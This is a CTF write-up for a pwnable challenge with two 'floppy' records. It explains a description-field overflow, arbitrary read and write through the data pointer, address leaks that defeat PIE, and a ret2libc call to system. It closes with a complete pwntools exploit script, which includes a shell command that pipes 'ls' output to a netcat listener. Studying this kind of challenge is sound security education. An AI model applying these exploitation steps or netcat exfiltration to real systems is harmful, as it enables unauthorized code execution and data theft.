Introduction

This was a 315 point pwnable. You’re presented with an interface that gives you two “floppies” that have a description and hold some data. There’s very little functionality: you can read, write, and modify two different floppies.


==================

1. Choose floppy

2. Write

3. Read

4. Modify

5. Exit

>

First, I ran checksec on the binary. It was as I expected - both NX and PIE were in use. NX would force me to reuse code in the binary to achieve remote code execution, and PIE means I would need some information leakage to de-randomize the process’ memory.

After doing some reversing, I found the floppy structure to be the following:

typedef struct floppy {
  int in_use;
  char *data;
  char description[10];
  char padding[2];
  int length;
} floppy;

in_use needs to be true before we can use Read or Modify on it. data is a pointer to the heap. I don’t think the length field was ever used.

Bugs

There were several bugs in the binary, but only one of them was actually useful.

The first bug is that the program would allow for potentially non-null terminated floppy descriptions. The floppy description field is 10 bytes long, and the program read in exactly 10 bytes. If your input was 10 characters, printing the floppy description would end up reading more characters, until the next null byte.

void do_write(floppy* current_floppy) {
    if (!current_floppy) {
        puts("There are something wrong!\n");
        exit(-1);
    }

    if (current_floppy->data) {
        puts("Memory is already generated!\n");
        return;
    }

    puts("Input your data: \n");
    char* input = malloc(512);
    current_floppy->data = input;
    memset(current_floppy->data, '\0', 512);
    read(0, current_floppy->data, 512);
    current_floppy->data_len = strlen(current_floppy->data);
    read(0, &current_floppy->description, 10); // description is not null terminated!
    current_floppy->in_use = 1;
    puts("Now this floppy disk is usable!\n");
}

Unfortunately for us, this isn’t that useful because the compiler inserted 2 bytes of padding right after the description field. Even if that wasn’t there, the only field that comes after it is the length field. Because the length is the strlen() of the data field which is capped out at 512 bytes, it’s definitely going to contain null bytes - which means we can’t really read anything after that. The two padding bytes are uninitialized values from the stack, but due to the way the function is written, nothing else ever occupies that space, making it even less useful.

The next bug is in how the read and modify functions check if floppies are usable. All three functions, read/write/modify check to see if a floppy has been selected but read/modify require a floppy has been written to. However, it only checks that a floppy has been written to, which is not necessarily the one you’ve selected.

                if (floppy_1.in_use || floppy_2.in_use) {
                    do_modify(current_floppy);
                } else {
                    puts("This floppy disk is not usable.\n");
                }

Once again however, the do_modify function internally does its own check and exits the program entirely if the current floppy hasn’t been written to. do_read doesn’t do the check, but because the floppy is initialized to all null, nothing useful comes out:

FLOPPY2
DESCRIPTION:
DATA: (null)

The next bug, and the only one we actually need is in do_modify. Recall that the description field is 10 bytes wide (12 if you count the padding). For some reason, this function accepts 37 bytes for a description, allowing us to overflow from the description into other fields. Normally, there’s nothing useful after the description field worth overflowing into, but due to the fact the floppies are on the stack and the way the stack is arranged, there are some key things we can go after.

Exploitation

The stack is arranged like the following (the top is higher on the stack)

  • return address
  • floppy* current_floppy
  • floppy floppy1
  • floppy floppy2
  • int floppy_num

Using the overflow from floppy1’s description field, we can actually end up overwriting most of the return address. However, that’s not exactly useful if we dont’ know where to return to. Things become a little more difficult because we don’t control the last byte of the return address either. Instead, what I did was overflow from floppy2’s description field, into floppy1’s data field. By controlling this pointer, we can use the do_read function to read from any arbitrary address, and the do_write to write to any arbitrary address.

Step 1. Derandomize the binary

Even with an arbitrary read and write, we stil need to know where the binary is located. I did this first by leaking the value of current_floppy from the stack. This value contains the address of the floppy currently in use. Because both floppies are on the stack, this gives us a stack address.

I ended up leaking the stack address by using the overflow, instead of the arbitrary read (because we don’t have an arbitrary pointer to read from just yet).

image

By overflowing from the description over the length, we “bridge” the description string such that the next time we print the description, there are no null bytes in the length to stop the program to keep printing. So next time we print, we get the description, the length (kind of - we overwrote it), and the address of the current floppy. Cool! Now we have a stack address!

From this stack address, we can get an address from the binary. Because this function was called into with the x86 call instruction, there is a return address in the current stack frame. We can calculate an offset from the floppy stack address from before where we know for sure there will be a return address - an address into the binary. Typically, reading things from an offset on the stack is a little difficult to get right (especially on a remote system), but we should have an easier time because we’re only dealing with the main program’s stack frame.

image

Using the overflow from before, all we need to do is set the data field of floppy1 to this stack address, and then read the floppy so we can get the address’ contents. We can also use the modify floppy functionality to write anything to this address. Armed with the ability to read anything from anywhere, we can take the stack address from earlier, determine where the return address is stored on the stack, and actually pull the value from the stack.

For example, one test showed me the return address was located at 0xf7724fc3. From using the debugger and reading the assembly, it was clear this was the return address for 0xfc3. By subtracting the smaller, relative address from the bigger absolute address, we get the program base address: 0xf7724000. By doing this programmatically, we can figure out where the binary is located in memory every time.

2. Locate libc

Now that we know where the program is located, we want to know where libc is located so we can call in some additional functionality - namely system. I did this by leveraging the arbitrary read from before to read the __cxa_finalize symbol from the GOT. It doesn’t really matter what we read from the GOT as long as it contains a libc address. For some reason, this binary had a really small GOT where none of the other entries were initialized. We also need a second libc address, so that not only can we locate the libc base address, but so we can identify the specific version of libc in use.

3. Leak the heap address

We don’t really need to do this, but having an address where we can control all the contents easily is great. I leaked the heap address by using the same overflow from earlier, and overflow just the in_use member of the first floppy. This meant if I printed out the description of the second floppy, I would get the data length of the second floppy (overwritten by us), the in_use member of the first floppy, and because the program is still printing since it hasn’t encountered any null bytes, the data member (heap address) of the first floppy.

4. Redirect control flow

We have stack addresses, a heap address, the binary’s base address, and libc’s base address. Now we just need to piece it all together.

image

I used the program’s built in functionality to write a shell command to the heap address. Because I can reliably tell where this shell command is stored, I can later pass it on to system as the first argument. Next, I used the arbitrary write to set up the argument on the stack. With the libc base address, I calculated the address of system, and set that as the new return address; instead of returning to the program, we will be returning into libc with our shell command~!

The Thing

import pwn, os, sys, time, socket

def get_description(buf):
    try:
        return buf.split('DESCRIPTION: ')[1].split('\nDATA:')[0]
    except:
        print buf
        return None

def get_data(buf):
    try:
        return buf.split('DATA: ')[1].split('\n========')[0]
    except:
        print buf
        return None

def choose_floppy(floppy):
    s.send("1\n")
    s.recv(1024)
    s.send(floppy+"\n")
    s.recv(1024)

def write_floppy(data, description):
    s.send("2\n")
    s.recv(1024)
    s.send(data+"\n")
    s.recv(1024)
    s.send(description+"\n")
    s.recv(1024)

def read_floppy():
    s.send("3\n")
    buf = s.recv(1024)
    if not local:
        buf = s.recv(1024)
    return get_data(buf), get_description(buf)

def modify_floppy_data(new_data):
    s.send("4\n")
    s.recv(1024)
    s.send("2\n")
    s.recv(1024)
    s.send(new_data+"\n")
    s.recv(1024)

def modify_floppy_desc(new_desc):
    s.send("4\n")
    s.recv(1024)
    s.send("1\n")
    s.recv(1024)
    s.send(new_desc+"\n")
    s.recv(1024)

def read_address(address):
    choose_floppy("2")
    modify_floppy_desc('A'*16+'DDDD'+pwn.pack(address))
    choose_floppy("1")
    address = pwn.unpack(read_floppy()[0][:4])

def write_address(address, contents):
    choose_floppy("2")
    modify_floppy_desc('A'*16+'DDDD'+pwn.pack(address))
    choose_floppy("1")
    modify_floppy_data(contents)

def read_addr2(address, unpack=True):
    s.send("1\n")
    s.recv(1024)
    s.send("2\n")
    s.recv(1024)
    s.send("4\n")
    s.recv(1024)
    s.send("1\n")
    s.recv(1024)
    s.send('A'*16 + 'DDDD' + pwn.pack(address) + "\n")
    s.recv(1024)
    s.send("1\n")
    s.recv(1024)
    s.send("1\n")
    s.recv(1024)
    s.send("3\n")
    buf = s.recv(1024)

    if unpack:
        return pwn.unpack(buf.split("DATA: ")[1].split("\n=")[0][:4])

    return buf.split("DATA: ")[1].split("\n=")[0]

local = False
s = pwn.remote('localhost', 2323)
s.recv(1024)
choose_floppy("1")
write_floppy("fl1data", "fl1desc")
print read_floppy()
choose_floppy("2")
write_floppy("data", 'A'*10)
print read_floppy()

floppy2_garbage = "A"*16 # 12 for description, 4 for data length
floppy1_data = ''.join([
    'DDDD', # in_use
])

modify_floppy_desc(floppy2_garbage + floppy1_data)
try:
    heap_addr = pwn.unpack(read_floppy()[1][20:][:4])
except ValueError:
    print "we dun goofed"
    sys.exit(1)

print "Heap Address:",hex(heap_addr)

choose_floppy("1")
floppy1_garbage = 'A'*16

modify_floppy_desc(floppy1_garbage)

choose_floppy("1")
try:
    stack_addr = pwn.unpack(read_floppy()[1][16:][:4])
except:
    print "We dun goofed."
    sys.exit(1)

print "Stack Address:",hex(stack_addr)
print "Let's peek at ", hex(stack_addr-40) # this address contains the instruction <main+105>:       cmp    eax,0x2

write_address(heap_addr, "ls | nc localhost 9999")
bin_base = read_addr2(stack_addr-40)-0xfc3
print "Bin Base:",hex(bin_base)

__cxa_finalize = read_addr2(bin_base+0x26e4)
read = (0xffeecee8+bin_base+0xce8)&0xFFFFFFFF
libc_base = read-0x000dabd0
system = libc_base+0x00040190

print "__cxa_finalize:",hex(__cxa_finalize)
print "read:",hex(read)
print "libc base:",hex(libc_base)
print "system:",hex(system)

write_address(stack_addr + 0x38, pwn.pack(system))
write_address(stack_addr + 0x38+4, pwn.pack(0x41414141))
write_address(stack_addr + 0x38+8, pwn.pack(heap_addr))

s.send("5\n")
s.recv(1024)
sys.exit(1)